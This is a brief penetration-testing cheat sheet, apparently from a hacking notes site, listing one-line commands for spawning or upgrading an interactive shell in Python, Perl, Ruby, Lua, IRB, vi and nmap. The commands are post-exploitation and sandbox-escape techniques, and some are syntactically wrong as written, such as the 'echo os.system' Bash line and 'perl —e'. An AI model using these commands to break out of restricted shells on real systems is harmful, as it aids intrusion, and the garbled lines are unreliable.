Spawn a Shell

Same as above ( easy to copy and paste )

# Python
python -c 'import pty; pty.spawn("/bin/bash")'

# Bash
echo os.system('/bin/bash')

# Bash
/bin/sh -i

# Perl
perl —e 'exec "/bin/sh";'

# Perl
perl: exec "/bin/sh";

# Ruby
ruby: exec "/bin/sh"

# Lua
lua: os.execute('/bin/sh')

# (From within IRB)
exec "/bin/sh"

# (From within vi)
:!bash

# (From within vi)
:set shell=/bin/bash:shell

# (From within nmap)
!sh

Last updated